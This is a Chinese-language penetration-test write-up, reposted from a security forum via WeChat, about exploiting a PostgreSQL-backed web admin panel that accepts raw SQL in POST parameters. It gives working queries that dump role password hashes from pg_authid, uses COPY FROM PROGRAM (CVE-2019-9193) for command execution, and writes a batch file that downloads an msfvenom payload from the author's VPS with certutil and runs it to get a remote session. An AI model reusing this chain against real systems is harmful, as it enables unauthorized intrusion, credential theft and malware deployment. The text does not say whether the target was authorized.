0x01 前言
mysql遇得比较多,postgresql还没怎么遇到过,过程算是一波三折,但好歹积累到了经验,主要记录下利用时的心路历程。
0x02 注入点
先nmap扫描目标端口,得到一个开放了http服务的端口,访问之,账号密码自动填充了,点击登录就可以直接进入后台
找功能点,抓包,好家伙,直接把sql语句明文放在post参数里面了,心是真的大
看了下网站架构,vue+java,猜测数据库很有可能是mysql,那就试试能不能直接运行sql语句select * from information_schema.SCHEMATA
成功执行,而且仔细看获取到的数据库字段,可以明显看到postgres字样,猜测是postgresql数据库,果然,用mysql的concat函数测试一下,api报错了,可以大概肯定是pgsql数据库。
知道是pgsql数据库就好办了,因为没记错的话pgsql ≥ 9.3版本是存在一大堆漏洞的,但我们不急,先一步一步来。
-
-
获取pgsql安装目录(判断pqsql版本、系统版本)
select setting from pg_settings where name = 'data_directory';
-
-
获取当前用户
select user
-
-
查询用户密码(md5加密)
SELECT rolname,rolpassword FROM pg_authid;
-
-
系统命令执行(CVE-2019-9193)
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;
0x03 一波三折
现在可以直接执行命令了,不就可以直接写shell,连shell一条龙了吗?然而事实上并非如此简单,因为不知道是不是dos编码的原因,执行的命令如果回显含有中文会导致pgsql报错进而导致无法把执行结果保存进数据库。比如我这里执行certutil
,报错结果如下:
执行dir c:
也会报错:
比较奇怪的是,执行systeminfo
命令却又可以成功执行并且执行结果中的中文也能正常显示。从系统信息中看到该服务器是中文系统,可是有的命令执行结果是英文,有的执行后又是中文,属实是整不会了。
因为知道dos默认编码是gbk,于是我先用chcp 65001
命令将dos编码改为utf-8编码,然后执行回显有中文的其他命令。结果失败了。
后来我在自己电脑上测试的时候突然醒悟,chcp命令只能改变当前终端进程的编码,关掉再新开一个cmd窗口编码仍然是默认的936 gbk编码,同理,虽然我通过chcp命令改变了编码,但是再重新执行其他命令的时候pgsql也会新建一个子进程,而这个子进程仍然是gbk编码。所以正确的打开方式应该是在需要执行的命令前加一句chcp 65001
,比如chcp 65001 & certutil
,一想到这里自觉真是聪明,然而现实分分钟打脸:
既然直接certutil不行,那就先dir老老实实找网站目录吧。
这里我猜测网站也部署在D盘,并尝试用 ..\
来向上读取目录,进而定位到该网站的绝对路径,但是到第三层父目录的时候报错了
这就很尴尬了,因为dir到第二层的时候还在pgsql的安装目录下,第三层还没有到D盘根目录呢继续向上读取,仍然是同样的报错。这里猜测是遇到权限问题了。
直接dir父目录不行,那就再换。想到dir命令还可以用来查找文件,而且网站也有不少静态图片文件,除非当前站点在内网的其他服务器上,否则用dir也能根据图片文件名找到其绝对路径的,直接试试。
成功了但没完全成功,因为Windows系统下虽然用斜杠和反斜杠表示路径都可以,但是默认是反斜杠,结果数据入库的时候反斜杠可能是被当作转义字符过滤掉了,导致最终路径符号没有显示出来。
于是又开始用dir猜测路径是否存在(这里被路径卡了半天,因为我笃定就是d:applicationsa-web
,然而尝试了很多次一直报错,直到最后改成d:applicationsa-web
才成功,不得不吐槽运维的脑回路),最后把web目录基本爬完了。
看到jar的时候才恍悟,这是个Nginx+Jar包部署的项目啊,前后端分离的,写webshell完全没意义啊。
0x04 柳暗花明
整理下思路,某些含中文回显的命令不能用,dir找到了web目录,但是前后端分离。休息放松一下,突然有了另外的思路,可以传bat上去啊,只需要隐藏掉所有命令的回显就不会有数据入库时的编码问题了,而且先前用tasklist
看到服务器上没有杀软,就更简单不少。
说干就干,先在vps上用msfvenom生成一个exe马,改后缀名为txt,用python起一个http服务,把txt文件放到指定目录,确保可以被目标访问到。
然后着手准备bat脚本,查了下资料,可以用@echo off隐藏执行的命令,再用 >null将输出重定向到null就可以实现完全无回显了,如下图
在本机上测试了一下,成功,无回显执行。
于是立即用echo命令将payload写到目标上先生成bat文件
COPY cmd FROM PROGRAM 'echo @echo offncertutil.exe -urlcache -split -f http://xx.xxx.xxxx/xxx.txt output.txt ^>null >test.bat'
看样子是执行成功了,用dir命令看看,成功写入了
再type看了下bat文件的内容,确认没问题后执行.test.bat
,看到文件大小符合
就再使用ren命令把txt后缀改为exe后缀
最后成功上线
看一眼时间,天色渐晚了,吃个夜宵睡觉,明天再来想提权的事儿吧。
0x05 后话
看到系统是2012 R2的时候立即就想到用powershell上线了,然后系统似乎没安装powershell组件,因为执行后一直超时也没有shell反弹就果断放弃了。
感觉学安全还是要潜下心才能真正学到东西。
转载于https://xz.aliyun.com/t/10202
更多技术文章请关注公众号:猪猪谈安全
师傅们点赞、转发、在看就是最大的支持
原文始发于微信公众号(猪猪谈安全):记一次pgsql数据库漏洞利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论